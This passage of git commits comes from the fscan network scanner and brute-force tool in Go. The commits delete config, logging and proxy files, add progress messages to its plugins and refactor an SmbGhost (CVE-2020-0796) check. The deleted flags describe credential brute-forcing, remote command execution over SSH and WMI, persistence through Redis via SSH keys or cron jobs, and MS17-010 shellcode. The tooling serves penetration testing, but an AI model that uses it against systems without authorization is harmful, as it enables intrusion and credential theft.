user") - flag.StringVar(&PassAdd, "pwda", "", "在默认密码列表基础上添加密码,-pwda password") - flag.StringVar(&Username, "user", "", "用户名") - flag.StringVar(&Password, "pwd", "", "密码") - flag.StringVar(&Domain, "domain", "", "域名(用于SMB)") - flag.StringVar(&SshKey, "sshkey", "", "SSH密钥文件(id_rsa)") - - // 扫描配置 - flag.StringVar(&Scantype, "m", "all", "扫描类型,例如: -m ssh") - flag.IntVar(&Threads, "t", 600, "线程数量") - flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)") - flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量") - flag.BoolVar(&NoPing, "np", false, "禁用存活探测") - flag.BoolVar(&Ping, "ping", false, "使用ping替代ICMP") - flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)") - - // 文件配置 - flag.StringVar(&HostFile, "hf", "", "主机列表文件") - flag.StringVar(&Userfile, "userf", "", "用户名字典") - flag.StringVar(&Passfile, "pwdf", "", "密码字典") - flag.StringVar(&Hashfile, "hashf", "", "Hash字典") - flag.StringVar(&PortFile, "portf", "", "端口列表文件") - - // Web配置 - flag.StringVar(&URL, "u", "", "目标URL") - flag.StringVar(&UrlFile, "uf", "", "URL列表文件") - flag.StringVar(&Cookie, "cookie", "", "设置Cookie") - flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间") - flag.StringVar(&Proxy, "proxy", "", "设置HTTP代理") - flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)") - - // POC配置 - flag.StringVar(&PocPath, "pocpath", "", "POC文件路径") - flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic") - flag.BoolVar(&NoPoc, "nopoc", false, "禁用Web漏洞扫描") - flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key") - flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证") - flag.IntVar(&PocNum, "num", 20, "POC并发数") - - // Redis利用配置 - flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件") - flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务") - flag.BoolVar(&Noredistest, "noredis", false, "禁用Redis安全检测") - - // 暴力破解配置 - flag.BoolVar(&IsBrute, "nobr", false, "禁用密码爆破") - flag.IntVar(&BruteThread, "br", 1, "密码爆破线程数") - - // 其他配置 - flag.StringVar(&Path, "path", "", "FCG/SMB远程文件路径") - flag.StringVar(&Hash, "hash", "", "Hash值") - flag.StringVar(&SC, "sc", "", "MS17漏洞shellcode") - flag.BoolVar(&IsWmi, "wmi", false, "启用WMI") - - // 输出配置 - flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件") - flag.BoolVar(&TmpSave, "no", false, "禁用结果保存") - flag.BoolVar(&Silent, "silent", false, "静默扫描模式") - flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出") - flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出") - flag.Int64Var(&WaitTime, "debug", 60, "错误日志输出间隔") - - flag.Parse() -} diff --git a/common/log.go b/common/log.go deleted file mode 100644 index 5669298..0000000 --- a/common/log.go +++ /dev/null @@ -1,172 +0,0 @@ -package Common - -import ( - "encoding/json" - "fmt" - "github.com/fatih/color" - "io" - "log" - "os" - "strings" - "sync" - "time" -) - -// 记录扫描状态的全局变量 -var ( - Num int64 // 总任务数 - End int64 // 已完成数 - Results = make(chan *string) // 结果通道 - LogSucTime int64 // 最近成功日志时间 - LogErrTime int64 // 最近错误日志时间 - WaitTime int64 // 等待时间 - Silent bool // 静默模式 - Nocolor bool // 禁用颜色 - JsonOutput bool // JSON输出 - LogWG sync.WaitGroup // 日志同步等待组 -) - -// JsonText JSON输出的结构体 -type JsonText struct { - Type string `json:"type"` // 消息类型 - Text string `json:"text"` // 消息内容 -} - -// init 初始化日志配置 -func init() { - log.SetOutput(io.Discard) - LogSucTime = time.Now().Unix() - go SaveLog() -} - -// LogSuccess 记录成功信息 -func LogSuccess(result string) { - LogWG.Add(1) - LogSucTime = time.Now().Unix() - Results <- &result -} - -// SaveLog 保存日志信息 -func SaveLog() { - for result := range Results { - // 打印日志 - if !Silent { - if Nocolor { - fmt.Println(*result) - } else { - switch { - case strings.HasPrefix(*result, "[+] 信息扫描"): - color.Green(*result) - case strings.HasPrefix(*result, "[+]"): - color.Red(*result) - default: - fmt.Println(*result) - } - } - } - - // 保存到文件 - if IsSave { - WriteFile(*result, Outputfile) - } - LogWG.Done() - } -} - -// WriteFile 写入文件 -func WriteFile(result string, filename string) { - // 打开文件 - fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) - if err != nil { - fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err) - return - } - defer fl.Close() - - if JsonOutput { - // 解析JSON格式 - var scantype, text string - if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") { - index := strings.Index(result[4:], " ") - if index == -1 { - scantype = "msg" - text = result[4:] - } else { - scantype = result[4 : 4+index] - text = result[4+index+1:] - } - } else { - scantype = "msg" - text = result - } - - // 构造JSON对象 - jsonText := JsonText{ - Type: scantype, - Text: text, - } - - // 序列化JSON - jsonData, err := json.Marshal(jsonText) - if err != nil { - fmt.Printf("[!] JSON序列化失败: %v\n", err) - jsonText = JsonText{ - Type: "msg", - Text: result, - } - jsonData, _ = json.Marshal(jsonText) - } - jsonData = append(jsonData, []byte(",\n")...) - _, err = fl.Write(jsonData) - } else { - _, err = fl.Write([]byte(result + "\n")) - } - - if err != nil { - fmt.Printf("[!] 写入文件失败 %s: %v\n", filename, err) - } -} - -// LogError 记录错误信息 -func LogError(errinfo interface{}) { - if WaitTime == 0 { - fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) - } else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { - fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) - LogErrTime = time.Now().Unix() - } -} - -// CheckErrs 检查是否为已知错误 -func CheckErrs(err error) bool { - if err == nil { - return false - } - - // 已知错误列表 - errs := []string{ - "远程主机关闭连接", - "连接数过多", - "连接超时", - "EOF", - "连接尝试失败", - "建立连接失败", - "无法连接", - "无法读取数据", - "不允许连接", - "无pg_hba.conf配置项", - "无法建立连接", - "无效的数据包大小", - "连接异常", - } - - // 检查错误是否匹配 - errLower := strings.ToLower(err.Error()) - for _, key := range errs { - if strings.Contains(errLower, strings.ToLower(key)) { - return true - } - } - - return false -} diff --git a/common/proxy.go b/common/proxy.go deleted file mode 100644 index f8af40e..0000000 --- a/common/proxy.go +++ /dev/null @@ -1,78 +0,0 @@ -package Common - -import ( - "errors" - "fmt" - "golang.org/x/net/proxy" - "net" - "net/url" - "strings" - "time" -) - -// WrapperTcpWithTimeout 创建一个带超时的TCP连接 -func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { - d := &net.Dialer{Timeout: timeout} - return WrapperTCP(network, address, d) -} - -// WrapperTCP 根据配置创建TCP连接 -func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) { - // 直连模式 - if Socks5Proxy == "" { - conn, err := forward.Dial(network, address) - if err != nil { - return nil, fmt.Errorf("建立TCP连接失败: %v", err) - } - return conn, nil - } - - // Socks5代理模式 - dialer, err := Socks5Dialer(forward) - if err != nil { - return nil, fmt.Errorf("创建Socks5代理失败: %v", err) - } - - conn, err := dialer.Dial(network, address) - if err != nil { - return nil, fmt.Errorf("通过Socks5建立连接失败: %v", err) - } - - return conn, nil -} - -// Socks5Dialer 创建Socks5代理拨号器 -func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) { - // 解析代理URL - u, err := url.Parse(Socks5Proxy) - if err != nil { - return nil, fmt.Errorf("解析Socks5代理地址失败: %v", err) - } - - // 验证代理类型 - if strings.ToLower(u.Scheme) != "socks5" { - return nil, errors.New("仅支持socks5代理") - } - - address := u.Host - var dialer proxy.Dialer - - // 根据认证信息创建代理 - if u.User.String() != "" { - // 使用用户名密码认证 - auth := proxy.Auth{ - User: u.User.Username(), - } - auth.Password, _ = u.User.Password() - dialer, err = proxy.SOCKS5("tcp", address, &auth, forward) - } else { - // 无认证模式 - dialer, err = proxy.SOCKS5("tcp", address, nil, forward) - } - - if err != nil { - return nil, fmt.Errorf("创建Socks5代理失败: %v", err) - } - - return dialer, nil -} From dfc84e98134b47d94f7d2a2b99c7682fbdc57f9c Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 15:13:38 +0800 Subject: [PATCH 045/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96=E6=8F=92?= =?UTF-8?q?=E4=BB=B6=E6=89=93=E5=8D=B0=E4=BF=A1=E6=81=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/FTP.go | 2 ++ Plugins/FcgiScan.go | 2 ++ Plugins/FindNet.go | 3 +++ Plugins/LocalInfo.go | 2 ++ Plugins/MS17010.go | 2 ++ Plugins/MSSQL.go | 2 ++ Plugins/Memcached.go | 2 ++ Plugins/Mongodb.go | 2 ++ Plugins/MySQL.go | 2 ++ Plugins/NetBIOS.go | 2 ++ Plugins/Oracle.go | 2 ++ Plugins/Postgres.go | 2 ++ Plugins/RDP.go | 2 ++ Plugins/Redis.go | 2 ++ Plugins/SMB.go | 2 ++ Plugins/SMB2.go | 4 ++++ Plugins/SSH.go | 2 ++ Plugins/WMIExec.go | 2 ++ Plugins/WebTitle.go | 2 ++ Plugins/fcgiscan.go | 2 ++ 20 files changed, 43 insertions(+) diff --git a/Plugins/FTP.go b/Plugins/FTP.go index 8758a5d..905a7e9 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -15,6 +15,7 @@ func FtpScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + fmt.Println("[+] FTP扫描模块开始...") starttime := time.Now().Unix() @@ -56,6 +57,7 @@ func FtpScan(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] FTP扫描模块结束...") // 添加结束打印 return tmperr } diff --git a/Plugins/FcgiScan.go b/Plugins/FcgiScan.go index ba7b696..28b0e85 100644 --- a/Plugins/FcgiScan.go +++ b/Plugins/FcgiScan.go @@ -25,6 +25,7 @@ func FcgiScan(info *Config.HostInfo) error { if Common.IsBrute { return nil } + fmt.Println("[+] Fcgi扫描模块开始...") // 设置目标URL路径 url := "/etc/issue" @@ -112,6 +113,7 @@ func FcgiScan(info *Config.HostInfo) error { Common.LogSuccess(result) } + fmt.Println("[+] Fcgi扫描模块结束...") return nil } diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go index b395f12..1743bb6 100644 --- a/Plugins/FindNet.go +++ b/Plugins/FindNet.go @@ -20,6 +20,7 @@ var ( // Findnet 探测Windows网络主机信息的入口函数 func Findnet(info *Config.HostInfo) error { + fmt.Println("[+] FindNet扫描模块开始...") return FindnetScan(info) } @@ -72,10 +73,12 @@ func FindnetScan(info *Config.HostInfo) error { } if !found { + fmt.Println("[+] FindNet扫描模块结束...") return fmt.Errorf("[-] 未找到有效的响应标记") } // 解析主机信息 + fmt.Println("[+] FindNet扫描模块结束...") return read(text, info.Host) } diff --git a/Plugins/LocalInfo.go b/Plugins/LocalInfo.go index eafb305..285dab1 100644 --- a/Plugins/LocalInfo.go +++ b/Plugins/LocalInfo.go @@ -90,6 +90,7 @@ var ( ) func LocalInfoScan(info *Config.HostInfo) (err error) { + fmt.Println("[+] LocalInfo扫描模块开始...") home, err := os.UserHomeDir() if err != nil { errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err) @@ -103,6 +104,7 @@ func LocalInfoScan(info *Config.HostInfo) (err error) { // 规则搜索 searchSensitiveFiles() + fmt.Println("[+] LocalInfo扫描模块结束...") return nil } diff --git a/Plugins/MS17010.go b/Plugins/MS17010.go index 226b95e..8c9713b 100644 --- a/Plugins/MS17010.go +++ b/Plugins/MS17010.go @@ -88,12 +88,14 @@ func MS17010(info *Config.HostInfo) error { if Common.IsBrute { return nil } + fmt.Println("[+] MS17010扫描模块开始...") // 执行MS17-010漏洞扫描 err := MS17010Scan(info) if err != nil { Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err)) } + fmt.Println("[+] MS17010扫描模块结束...") return err } diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go index 91bad28..0aa4f00 100644 --- a/Plugins/MSSQL.go +++ b/Plugins/MSSQL.go @@ -15,6 +15,7 @@ func MssqlScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + fmt.Println("[+] Mssql扫描模块开始...") starttime := time.Now().Unix() @@ -44,6 +45,7 @@ func MssqlScan(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] Mssql扫描模块结束...") return tmperr } diff --git a/Plugins/Memcached.go b/Plugins/Memcached.go index 1acdaa7..ba285ba 100644 --- a/Plugins/Memcached.go +++ b/Plugins/Memcached.go @@ -10,6 +10,7 @@ import ( // MemcachedScan 检测Memcached未授权访问 func MemcachedScan(info *Config.HostInfo) error { + fmt.Println("[+] Memcached扫描模块开始...") realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) timeout := time.Duration(Common.Timeout) * time.Second @@ -45,5 +46,6 @@ func MemcachedScan(info *Config.HostInfo) error { Common.LogSuccess(result) } + fmt.Println("[+] Memcached扫描模块结束...") return nil } diff --git a/Plugins/Mongodb.go b/Plugins/Mongodb.go index 25822b7..cc1e378 100644 --- a/Plugins/Mongodb.go +++ b/Plugins/Mongodb.go @@ -13,12 +13,14 @@ func MongodbScan(info *Config.HostInfo) error { if Common.IsBrute { return nil } + fmt.Println("[+] Mongodb扫描模块开始...") _, err := MongodbUnauth(info) if err != nil { errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err) Common.LogError(errlog) } + fmt.Println("[+] Mongodb扫描模块结束...") return err } diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go index fe07486..4703045 100644 --- a/Plugins/MySQL.go +++ b/Plugins/MySQL.go @@ -15,6 +15,7 @@ func MysqlScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + fmt.Println("[+] Mysql扫描模块开始...") starttime := time.Now().Unix() @@ -44,6 +45,7 @@ func MysqlScan(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] Mysql扫描模块结束...") return tmperr } diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index e2fa349..e96d827 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -16,6 +16,7 @@ import ( var errNetBIOS = errors.New("netbios error") func NetBIOS(info *Config.HostInfo) error { + fmt.Println("[+] NetBIOS扫描模块开始...") netbios, _ := NetBIOS1(info) output := netbios.String() if len(output) > 0 { @@ -23,6 +24,7 @@ func NetBIOS(info *Config.HostInfo) error { Common.LogSuccess(result) return nil } + fmt.Println("[+] NetBIOS扫描模块结束...") return errNetBIOS } diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go index 8a4cf7f..b628fa1 100644 --- a/Plugins/Oracle.go +++ b/Plugins/Oracle.go @@ -15,6 +15,7 @@ func OracleScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + fmt.Println("[+] Oracle扫描模块开始...") starttime := time.Now().Unix() @@ -44,6 +45,7 @@ func OracleScan(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] Oracle扫描模块结束...") return tmperr } diff --git a/Plugins/Postgres.go b/Plugins/Postgres.go index 96081ca..12058c5 100644 --- a/Plugins/Postgres.go +++ b/Plugins/Postgres.go @@ -15,6 +15,7 @@ func PostgresScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + fmt.Println("[+] Postgre扫描模块开始...") starttime := time.Now().Unix() @@ -44,6 +45,7 @@ func PostgresScan(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] Postgre扫描模块结束...") return tmperr } diff --git a/Plugins/RDP.go b/Plugins/RDP.go index 2bf9025..4fe1812 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -34,6 +34,7 @@ func RdpScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + fmt.Println("[+] Rdp扫描模块开始...") var ( wg sync.WaitGroup @@ -70,6 +71,7 @@ func RdpScan(info *Config.HostInfo) (tmperr error) { for !signal { } + fmt.Println("[+] Rdp扫描模块结束...") return tmperr } diff --git a/Plugins/Redis.go b/Plugins/Redis.go index 7b651b4..27d912a 100644 --- a/Plugins/Redis.go +++ b/Plugins/Redis.go @@ -19,6 +19,7 @@ var ( // RedisScan 执行Redis服务扫描 func RedisScan(info *Config.HostInfo) (tmperr error) { + fmt.Println("[+] Redis扫描模块开始...") starttime := time.Now().Unix() // 尝试无密码连接 @@ -54,6 +55,7 @@ func RedisScan(info *Config.HostInfo) (tmperr error) { return err } } + fmt.Println("[+] Redis扫描模块结束...") return tmperr } diff --git a/Plugins/SMB.go b/Plugins/SMB.go index 785861a..a7b115b 100644 --- a/Plugins/SMB.go +++ b/Plugins/SMB.go @@ -16,6 +16,7 @@ func SmbScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return nil } + fmt.Println("[+] Smb扫描模块开始...") startTime := time.Now().Unix() @@ -61,6 +62,7 @@ func SmbScan(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] Smb扫描模块结束...") return tmperr } diff --git a/Plugins/SMB2.go b/Plugins/SMB2.go index 76b25fe..aca01be 100644 --- a/Plugins/SMB2.go +++ b/Plugins/SMB2.go @@ -14,10 +14,12 @@ import ( // SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式 func SmbScan2(info *Config.HostInfo) (tmperr error) { + // 如果未启用暴力破解则直接返回 if Common.IsBrute { return nil } + fmt.Println("[+] Smb2扫描模块开始...") hasprint := false startTime := time.Now().Unix() @@ -56,6 +58,7 @@ func smbHashScan(info *Config.HostInfo, hasprint bool, startTime int64) error { } } } + fmt.Println("[+] Smb2扫描模块结束...") return nil } @@ -85,6 +88,7 @@ func smbPasswordScan(info *Config.HostInfo, hasprint bool, startTime int64) erro } } } + fmt.Println("[+] Smb2扫描模块结束...") return nil } diff --git a/Plugins/SSH.go b/Plugins/SSH.go index 204ab52..37ef053 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -16,6 +16,7 @@ func SshScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + fmt.Println("[+] SSH扫描模块开始...") startTime := time.Now().Unix() @@ -53,6 +54,7 @@ func SshScan(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] SSH扫描模块结束...") return tmperr } diff --git a/Plugins/WMIExec.go b/Plugins/WMIExec.go index ad58839..cb31323 100644 --- a/Plugins/WMIExec.go +++ b/Plugins/WMIExec.go @@ -38,6 +38,7 @@ func WmiExec(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return nil } + fmt.Println("[+] WmiExec扫描模块开始...") starttime := time.Now().Unix() @@ -92,6 +93,7 @@ func WmiExec(info *Config.HostInfo) (tmperr error) { } } } + fmt.Println("[+] WmiExec扫描模块结束...") return tmperr } diff --git a/Plugins/WebTitle.go b/Plugins/WebTitle.go index 53201dd..9e8d4f5 100644 --- a/Plugins/WebTitle.go +++ b/Plugins/WebTitle.go @@ -26,6 +26,7 @@ func WebTitle(info *Config.HostInfo) error { WebScan.WebScan(info) return nil } + fmt.Println("[+] WebTitle扫描模块开始...") // 获取网站标题信息 err, CheckData := GOWebTitle(info) @@ -46,6 +47,7 @@ func WebTitle(info *Config.HostInfo) error { Common.LogError(errlog) } + fmt.Println("[+] WebTitle扫描模块结束...") return err } diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go index ba7b696..28b0e85 100644 --- a/Plugins/fcgiscan.go +++ b/Plugins/fcgiscan.go @@ -25,6 +25,7 @@ func FcgiScan(info *Config.HostInfo) error { if Common.IsBrute { return nil } + fmt.Println("[+] Fcgi扫描模块开始...") // 设置目标URL路径 url := "/etc/issue" @@ -112,6 +113,7 @@ func FcgiScan(info *Config.HostInfo) error { Common.LogSuccess(result) } + fmt.Println("[+] Fcgi扫描模块结束...") return nil } From fc94e4ee0d28f38e795aaacab8bb920b3b5c1a1f Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 15:14:54 +0800 Subject: [PATCH 046/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96SmbGhost.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/{CVE-2020-0796.go => SmbGhost.go} | 49 +++++++++++++++++++---- 1 file changed, 42 insertions(+), 7 deletions(-) rename Plugins/{CVE-2020-0796.go => SmbGhost.go} (67%) diff --git a/Plugins/CVE-2020-0796.go b/Plugins/SmbGhost.go similarity index 67% rename from Plugins/CVE-2020-0796.go rename to Plugins/SmbGhost.go index c07331c..ccc6603 100644 --- a/Plugins/CVE-2020-0796.go +++ b/Plugins/SmbGhost.go @@ -95,35 +95,70 @@ const ( "\x00\x00\x00\x00" ) +// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数 func SmbGhost(info *Config.HostInfo) error { + // 如果开启了暴力破解模式,跳过该检测 if Common.IsBrute { return nil } + + fmt.Println("[+] SmbGhost扫描模块开始...") + // 执行实际的SMB Ghost漏洞扫描 err := SmbGhostScan(info) + fmt.Println("[+] SmbGhost扫描模块结束...") return err } +// SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑 func SmbGhostScan(info *Config.HostInfo) error { - ip, port, timeout := info.Host, 445, time.Duration(Common.Timeout)*time.Second - addr := fmt.Sprintf("%s:%v", info.Host, port) + // 设置扫描参数 + ip := info.Host + port := 445 // SMB服务默认端口 + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造目标地址 + addr := fmt.Sprintf("%s:%v", ip, port) + + // 建立TCP连接 conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout) if err != nil { return err } - defer conn.Close() - _, err = conn.Write([]byte(pkt)) - if err != nil { + defer conn.Close() // 确保连接最终被关闭 + + // 发送SMB协议探测数据包 + if _, err = conn.Write([]byte(pkt)); err != nil { return err } + + // 准备接收响应 buff := make([]byte, 1024) - err = conn.SetReadDeadline(time.Now().Add(timeout)) + + // 设置读取超时 + if err = conn.SetReadDeadline(time.Now().Add(timeout)); err != nil { + return err + } + + // 读取响应数据 n, err := conn.Read(buff) if err != nil || n == 0 { return err } - if bytes.Contains(buff[:n], []byte("Public")) == true && len(buff[:n]) >= 76 && bytes.Equal(buff[72:74], []byte{0x11, 0x03}) && bytes.Equal(buff[74:76], []byte{0x02, 0x00}) { + + // 分析响应数据,检测是否存在漏洞 + // 检查条件: + // 1. 响应包含"Public"字符串 + // 2. 响应长度大于等于76字节 + // 3. 特征字节匹配 (0x11,0x03) 和 (0x02,0x00) + if bytes.Contains(buff[:n], []byte("Public")) && + len(buff[:n]) >= 76 && + bytes.Equal(buff[72:74], []byte{0x11, 0x03}) && + bytes.Equal(buff[74:76], []byte{0x02, 0x00}) { + + // 发现漏洞,记录结果 result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip) Common.LogSuccess(result) } + return err } From b857dd4fa72f94fed53ef00c3ae45cfeff1abf77 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 15:24:10 +0800 Subject: [PATCH 047/188] =?UTF-8?q?refacor:=20=E7=BB=93=E6=9E=84=E5=8C=96?= =?UTF-8?q?=E6=9B=B4=E6=94=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- {Plugins => Core}/ICMP.go | 2 +- {Plugins => Core}/PortScan.go | 2 +- {Plugins => Core}/Registry.go | 47 +++++++++++++++++++---------------- {Plugins => Core}/Scanner.go | 2 +- main.go | 4 +-- 5 files changed, 30 insertions(+), 27 deletions(-) rename {Plugins => Core}/ICMP.go (99%) rename {Plugins => Core}/PortScan.go (99%) rename {Plugins => Core}/Registry.go (73%) rename {Plugins => Core}/Scanner.go (99%) diff --git a/Plugins/ICMP.go b/Core/ICMP.go similarity index 99% rename from Plugins/ICMP.go rename to Core/ICMP.go index 4648e5b..f70a895 100644 --- a/Plugins/ICMP.go +++ b/Core/ICMP.go @@ -1,4 +1,4 @@ -package Plugins +package Core import ( "bytes" diff --git a/Plugins/PortScan.go b/Core/PortScan.go similarity index 99% rename from Plugins/PortScan.go rename to Core/PortScan.go index a55c9be..47cb659 100644 --- a/Plugins/PortScan.go +++ b/Core/PortScan.go @@ -1,4 +1,4 @@ -package Plugins +package Core import ( "fmt" diff --git a/Plugins/Registry.go b/Core/Registry.go similarity index 73% rename from Plugins/Registry.go rename to Core/Registry.go index d23d061..cae17c8 100644 --- a/Plugins/Registry.go +++ b/Core/Registry.go @@ -1,127 +1,130 @@ -package Plugins +package Core -import "github.com/shadow1ng/fscan/Config" +import ( + "github.com/shadow1ng/fscan/Config" + "github.com/shadow1ng/fscan/Plugins" +) func init() { // 注册标准端口服务扫描 Config.RegisterPlugin("ftp", Config.ScanPlugin{ Name: "FTP", Port: 21, - ScanFunc: FtpScan, + ScanFunc: Plugins.FtpScan, }) Config.RegisterPlugin("ssh", Config.ScanPlugin{ Name: "SSH", Port: 22, - ScanFunc: SshScan, + ScanFunc: Plugins.SshScan, }) Config.RegisterPlugin("findnet", Config.ScanPlugin{ Name: "FindNet", Port: 135, - ScanFunc: Findnet, + ScanFunc: Plugins.Findnet, }) Config.RegisterPlugin("netbios", Config.ScanPlugin{ Name: "NetBIOS", Port: 139, - ScanFunc: NetBIOS, + ScanFunc: Plugins.NetBIOS, }) Config.RegisterPlugin("smb", Config.ScanPlugin{ Name: "SMB", Port: 445, - ScanFunc: SmbScan, + ScanFunc: Plugins.SmbScan, }) Config.RegisterPlugin("mssql", Config.ScanPlugin{ Name: "MSSQL", Port: 1433, - ScanFunc: MssqlScan, + ScanFunc: Plugins.MssqlScan, }) Config.RegisterPlugin("oracle", Config.ScanPlugin{ Name: "Oracle", Port: 1521, - ScanFunc: OracleScan, + ScanFunc: Plugins.OracleScan, }) Config.RegisterPlugin("mysql", Config.ScanPlugin{ Name: "MySQL", Port: 3306, - ScanFunc: MysqlScan, + ScanFunc: Plugins.MysqlScan, }) Config.RegisterPlugin("rdp", Config.ScanPlugin{ Name: "RDP", Port: 3389, - ScanFunc: RdpScan, + ScanFunc: Plugins.RdpScan, }) Config.RegisterPlugin("postgres", Config.ScanPlugin{ Name: "PostgreSQL", Port: 5432, - ScanFunc: PostgresScan, + ScanFunc: Plugins.PostgresScan, }) Config.RegisterPlugin("redis", Config.ScanPlugin{ Name: "Redis", Port: 6379, - ScanFunc: RedisScan, + ScanFunc: Plugins.RedisScan, }) Config.RegisterPlugin("fcgi", Config.ScanPlugin{ Name: "FastCGI", Port: 9000, - ScanFunc: FcgiScan, + ScanFunc: Plugins.FcgiScan, }) Config.RegisterPlugin("memcached", Config.ScanPlugin{ Name: "Memcached", Port: 11211, - ScanFunc: MemcachedScan, + ScanFunc: Plugins.MemcachedScan, }) Config.RegisterPlugin("mongodb", Config.ScanPlugin{ Name: "MongoDB", Port: 27017, - ScanFunc: MongodbScan, + ScanFunc: Plugins.MongodbScan, }) // 注册特殊扫描类型 Config.RegisterPlugin("ms17010", Config.ScanPlugin{ Name: "MS17010", Port: 445, - ScanFunc: MS17010, + ScanFunc: Plugins.MS17010, }) Config.RegisterPlugin("smbghost", Config.ScanPlugin{ Name: "SMBGhost", Port: 445, - ScanFunc: SmbGhost, + ScanFunc: Plugins.SmbGhost, }) Config.RegisterPlugin("web", Config.ScanPlugin{ Name: "WebTitle", Port: 0, - ScanFunc: WebTitle, + ScanFunc: Plugins.WebTitle, }) Config.RegisterPlugin("smb2", Config.ScanPlugin{ Name: "SMBScan2", Port: 445, - ScanFunc: SmbScan2, + ScanFunc: Plugins.SmbScan2, }) Config.RegisterPlugin("wmiexec", Config.ScanPlugin{ Name: "WMIExec", Port: 135, - ScanFunc: WmiExec, + ScanFunc: Plugins.WmiExec, }) Config.RegisterPlugin("localinfo", Config.ScanPlugin{ Name: "LocalInfo", Port: 0, - ScanFunc: LocalInfoScan, + ScanFunc: Plugins.LocalInfoScan, }) } diff --git a/Plugins/Scanner.go b/Core/Scanner.go similarity index 99% rename from Plugins/Scanner.go rename to Core/Scanner.go index 385640d..9f97564 100644 --- a/Plugins/Scanner.go +++ b/Core/Scanner.go @@ -1,4 +1,4 @@ -package Plugins +package Core import ( "fmt" diff --git a/main.go b/main.go index b4bc409..5d95fbb 100644 --- a/main.go +++ b/main.go @@ -4,7 +4,7 @@ import ( "fmt" "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/Plugins" + "github.com/shadow1ng/fscan/Core" "time" ) @@ -13,6 +13,6 @@ func main() { var Info Config.HostInfo Common.Flag(&Info) Common.Parse(&Info) - Plugins.Scan(Info) + Core.Scan(Info) fmt.Printf("[*] 扫描结束,耗时: %s\n", time.Since(start)) } From b14510fa52d36c347c6571732cd8e6a0ea610a5e Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 